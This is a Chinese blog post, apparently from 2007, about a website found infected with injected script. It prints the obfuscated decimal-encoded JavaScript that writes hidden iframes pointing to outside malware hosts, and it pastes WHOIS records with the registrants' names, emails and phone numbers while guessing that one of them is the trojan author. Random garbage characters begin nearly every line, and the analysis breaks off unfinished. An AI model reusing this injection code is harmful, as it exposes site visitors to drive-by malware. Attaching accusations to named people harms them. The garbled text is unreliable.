首发在我的博客里面，
<4P4u*/o d YL"h.x http://www.areway.cn/?p=175 G5C I<KRK# *q()f\ r7b1- 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
5*1D$mxD" C}_ ojcR <script>t=’60,105,102,114,97,109,101,
;
mZW{j 32,115,114,99,61,104,116,116,112,58,47,47,
[N/"5
[ 102,114,101,101,46,117,45,117,117,117,46,99,
K#pNe c 110,47,101,114,114,111,114,46,104,116,109,
DP3PYJ%+B 32,119,105,100,116,104,61,49,48,48,32,104,
JwAYG 5W 101,105,103,104,116,61,48,62,60,47,105,102,
LUqB&,a} 114,97,109,101,62′;
go'-5 in( t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
dvt9u9Vg= Bh;7C@dq <script>t=’60,105,102,114,97,109,101,32,115,
UE$UR#T'w 114,99,61,104,116,116,112,58,47,47,102,114,
hM{{\yZ S 101,101,46,117,45,117,117,117,46,99,110,47,
5 u*-L_ 101,114,114,111,114,46,104,116,109,32,119,
=Ur}~w&H8 105,100,116,104,61,49,48,48,32,104,101,105,
~ xft 103,104,116,61,48,62,60,47,105,102,114,97,
>D(R YI 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
+\F'iAs@ document.write(t);</script>
xHz[t6;4; gq u?o&>9 <html xmlns=”
z@B=:tf http://www.w3.org/1999/xhtml Fsif6k=4 “>
rvXWcu -" <head>
!V
i@1E <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
SjwyLc <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
cp#JB H O <title>首页 - 爱生活家庭网
P!+'1KR yIDD@j=l 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
J6L K 转换字符串后的大概内容是（谁点击后果自付）：
DX"xy <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
p2DrEId .ys6"V|31 查询玉米u-uuu.cn的详细信息：
9983aFam Domain Name: u-uuu.cn
?e,pN,4 ROID: 20070901s10001s64972306-cn
@U3Vc|
Domain Status: ok
e^< #53! Registrant Organization: 王雷
QA5Qwe L Registrant Name: 王雷
K }Vv4x1U Administrative Email:
czlovexs@126.com XqW@rU Sponsoring Registrar: 北京万网志成科技有限公司
Aq0S-HKF Name Server:ns.yovole.com
CS==A57I Name Server:ns1.yovole.com
l i0i" Registration Date: 2007-09-01 17:54
& 8l%T'gd Expiration Date: 2008-09-01 17:54
e S <lwA_ 最后PING了一下地址 都没有什么….
@8;W \L$~1 /J: bWr 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
9Hc$G{[a <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
$!8-? ?ML <script language=”javascript” src=”
P DrZY.- http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ,!7 H]4Qx >
1e&QSzL 这个玉米应该有可能是木马作者的：
h $L/<3oP6 foafau.info的详细信息：
;uw Ryd Access to INFO WHOIS information is provided to assist persons in
] cGA~d determining the contents of a domain name registration record in the
|aT| l^2R@ Afilias registry database. The data in this record is provided by
UG'9*( * Afilias Limited for informational purposes only, and Afilias does not
XVv K2( guarantee its accuracy. This service is intended only for query-based
5ZMR,SZhC access. You agree that you will use this data only for lawful purposes
G|(
]bvJ? and that, under no circumstances will you use this data to: (a) allow,
-5I2ga enable, or otherwise support the transmission by e-mail, telephone, or
2Fq<*pxAY
facsimile of mass unsolicited, commercial advertising or solicitations
BPdfYu ,il to entities other than the data recipient’s own existing customers; or
34d3 g (b) enable high volume, automated, electronic processes that send
l,,> & F queries or data to the systems of Registry Operator, a Registrar, or
Bc6|n :;u Afilias except as reasonably necessary to register domain names or
}RwSp!}C modify existing registrations. All rights reserved. Afilias reserves
S%yd5<%_ the right to modify these terms at any time. By submitting this query,
DR c)iE>@ you agree to abide by this policy.
; =X P & Domain ID:D22418703-LRMS
yjhf
Domain Name:FOAFAU.INFO
,)iKH]lY= Created On:20-Nov-2007 16:05:42 UTC
$aN&nhoO < Last Updated On:20-Nov-2007 16:05:44 UTC
.h>8@5/s Expiration Date:20-Nov-2008 16:05:42 UTC
IuNiEtKx Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
)tl.s)"N Status:CLIENT DELETE PROHIBITED
+TQ47Z c Status:CLIENT RENEW PROHIBITED
hA33K #bC Status:CLIENT TRANSFER PROHIBITED
{3.r6ZwCn Status:CLIENT UPDATE PROHIBITED
tb$LriN Status:TRANSFER PROHIBITED
?84
s4BpV1 Registrant ID:GODA-040110615
[BT/~6ovrZ Registrant Name:liu hong
pb$~b\s]= Registrant Organization:
qU#BJON]BR Registrant Street1:beijing
3 AsT Registrant Street2:
_ B 5gR Registrant Street3:
zJ)*Z,7 Registrant City:beijing
'rr^2d]`ST Registrant State/Province:
il \$@Bn Registrant Postal Code:100000
p~9vP)74u Registrant Country:CN
sf OHarww Registrant Phone:+86.860108888777
#3_*]8K.R Registrant Phone Ext.:
IiZ&Pr Registrant FAX:
CC@.MA@9 N Registrant FAX Ext.:
?_Q/}@` Registrant Email:bbbshiji@163.com
&9"-`-[e: Admin ID:GODA-240110615
}b0; 0j Admin Name:liu hong
> &p0d 0 Admin Organization:
t$A%*J BKm Admin Street1:beijing
#:^YI
c Admin Street2:
-$WYj " Admin Street3:
l?F b ='# Admin City:beijing
@ )-$kk* Admin State/Province:
&d5ia+ # Admin Postal Code:100000
<~n$1aA Admin Country:CN
;d'Z|H; Admin Phone:+86.860108888777
E5N{j4\F Admin Phone Ext.:
ea~:} !-P Admin FAX:
$.GOZqMs Admin FAX Ext.:
< ]b7ZF] Admin Email:bbbshiji@163.com
bf!M#QOk? Billing ID:GODA-340110615
FDv+*sZ Billing Name:liu hong
ijd XU8 Billing Organization:
FN%m0"/Z{t Billing Street1:beijing
>B2q+tA Billing Street2:
E
Kz'& Gu Billing Street3:
d\FJFMW*9 Billing City:beijing
+{L<? " Billing State/Province:
YBP:q2H Billing Postal Code:100000
>$,y5 AJ& Billing Country:CN
N1}={yF.fQ Billing Phone:+86.860108888777
N~NQ6:R [ Billing Phone Ext.:
=?s 3iP Billing FAX:
hQDTS>U Billing FAX Ext.:
r?*NhLG ; Billing Email:bbbshiji@163.com
(>I`{9x>6 Tech ID:GODA-140110615
l+g9 5m jP Tech Name:liu hong
y(=#WlK } Tech Organization:
L0tAgW!@ Tech Street1:beijing
A^2Uzmzl? Tech Street2:
&g~ wS@ Tech Street3:
0#YX=vjX7 Tech City:beijing
$LLA,?;! Tech State/Province:
hwI Mn33 Tech Postal Code:100000
j~e;DO Tech Country:CN
OKvPL=~ Tech Phone:+86.860108888777
S:x?6IDPC^ Tech Phone Ext.:
DANw1 _X\ Tech FAX:
)h8\u_U Tech FAX Ext.:
=T7A]U] Tech Email:bbbshiji@163.com
y T#{UA^ Name Server:NS27.DOMAINCONTROL.COM
(Gw,2 -A Name Server:NS28.DOMAINCONTROL.COM
}Iz7l{al Name Server:
K&U7H: Name Server:
` /MvQ/ Name Server:
\a=D Name Server:
DVkB$2] Name Server:
FA }_(Hf.[ Name Server:
.LuB\o$ Name Server:
en:4H Name Server:
aKd+CO: Name Server:
"luR9l,RRE Name Server:
Q lHd,w Name Server:
!E-Pa5s 3^Q]j^e4Ny 接着下载每个文件里面的代码：
CCX8>09 一步一步看..
V86Xg: ?7 
ocyb5j 
%O<%UmR 
8B#GbS
K 
M!tXN&V] 
A?o Xq b 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
